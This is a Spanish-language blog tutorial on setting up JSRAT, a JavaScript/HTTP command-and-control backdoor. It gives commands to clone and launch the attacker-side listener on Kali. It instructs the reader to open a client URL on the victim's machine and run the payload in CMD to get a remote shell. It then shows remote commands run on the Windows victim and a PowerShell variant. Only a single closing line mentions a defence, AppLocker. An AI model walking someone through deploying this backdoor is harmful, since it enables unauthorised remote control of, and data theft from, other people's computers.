JSRAT: Mando y control con JavaScript
5 (100%) 16 votos

JSRAT es un backdoor de mando y control (Command y control o C&C) para controlar las máquinas de las víctimas mediante JavaScript.

Este script basado en Python fue desarrollado como un backdoor para los ordenadores de las víctimas. JsRat utiliza payloads de JavaScript y el protocolo HTTP para la comunicación entre el servidor y los hosts de destino.

1. JSRAT

Hay varias herramientas de mando y control que pueden usar una variedad de métodos para ocultar el tráfico malicioso o ejecutar implantes en varios formatos. Casey Smith originalmente desarrolló una herramienta prototipo que usa JavaScript como payload y se conecta de nuevo a un servidor web que escucha. Un investigador de seguridad 3gstudent extendió el trabajo de Casey Smith y desarrolló JSRat en PowerShell, que proporciona algunas funcionalidades adicionales.

Existen otras variaciones de esta herramienta en Python por lo que el host maestro puede ser una máquina Linux o Windows. De manera similar, otra herramienta de C&C que puede generar implantes JavaScript se llama PoshC2 de Nettitude.

JSRat es una herramienta de comando y control que usa payloads JavaScript y el protocolo HTTP para la comunicación entre el servidor y los hosts de destino. Hay dos implementaciones: una en Python y otra en PowerShell, cuyo uso se describe a continuación.


2. Instalación y uso JsRat en Linux

Caso de Ejemplo 1

Para este tutorial he usado Kali Linux (Máquina atacante) y Windows 7 (Máquina Víctima). Debería funcionar igual para Windows 10.
  • Descargue la herramienta JSRAT:
Descargar JSRAT
  • Y ejecute los siguientes comandos:
git clone https://github.com/aspiggy/JSRAT
Instalación de JsRat en Linux

Instalación de JsRat en Linux

  • Accedemos a la carpeta que contiene el script y lo ejecutamos:
cd JSRAT/
python JSRAT.py -i <IP_Maquina_Atacante> -p 8080

La implementación Python de JSRat iniciará un servidor web y esperará a que se ejecute el comando del cliente.

Ejecutar JSRAT.py Linux

Ejecutar JSRAT.py en Linux

  • JSRAT proporciona una lista de URL. Copie el enlace de Client Command (en mi caso: http://192.168.1.17:8080/wtf), y abra esa URL con el navegador de la victima.
Client Command URL de la Victima

Client Command URL de la Victima

  • Para obtener la carga útil (payload) del shell generada por la URL debe abrir el CMD, pegar el contenido y pulsar la tecla Intro.

Ejecutar cargar útil en CMD

  • Una vez que el usuario visita la URL de mando del Cliente se establecerá una conexión con el host.
Mando y Control entre Linux y Windows

Mando y Control entre Linux y Windows

4. Control PC de la víctima

JSRat se puede usar para ejecutar comandos, ejecutar scripts o solo para la extracción de datos.


Los comandos se pueden ejecutar desde el shell de forma normal.

  • Comando para mostrar el dominio actual y el nombre de usuario:
whoami
whoami a Windows

whoami para identificar usuario en Windows

  • JSRat también puede leer, descargar o cargar archivos.
  • Comando ipconfig en máquina victima con Windows:

ipconfig en Windows

  • La ejecución de ejecutables y scripts también se puede realizar siguiendo una secuencia como:
run
calc.exe
Ejecución de calc.exe remotamente desde Linux

Ejecución de calc.exe remotamente desde Linux

5. Javascript-Backdoor(JSRat) en PowerShell

Alternativamente, también hay una implementación de PowerShell de este JSRat que puede realizar las mismas operaciones desde una consola de PowerShell. El script debe modificarse con la dirección IP del oyente antes de cualquier ejecución.

Descargar Javascript-Backdoor(JSRat)

Caso de Ejemplo 2

Para este tutorial he usado Windows 10 (Máquina atacante) y Windows 7 (Máquina Víctima).
  • El comando de carga útil que se debe ejecutar en el destino también se incluye en los comentarios del script.
Script JSRat con PowerShell

Script JSRat con PowerShell

  • Al ejecutar el comando de carga útil, se conectará al host victima y se obtendrá una consola.
Comando de carga útil en Windows

Comando de carga útil en Windows

  • Los comandos se pueden ejecutar en la victima como cualquier otro comando normal.
Comando y Control de Windows a Windows

Mando y Control de Windows a Windows

6. Conclusión

La principal ventaja de esta herramienta de mando y control es que es muy rápido y toda la comunicación se realiza a través de HTTP, que es un protocolo común. Como JSRat usa JavaScript, la detección de cargas útiles es difícil a menos que se supervise rundll32.

Habilitar y configurar AppLocker para denegar la ejecución de rundll32 y regsvr32 evitará el ataque. ¡Si te ha gustado, por favor compártelo! 🙂


¡Mantente actualizado!

Suscríbete a nuestro boletín semanal...

Suscríbete a nuestro boletín electrónico para recibir artículos útiles y ofertas especiales. No te perderás absolutamente de nada!

Enviaremos solamente boletines al email y no compartiremos tu email.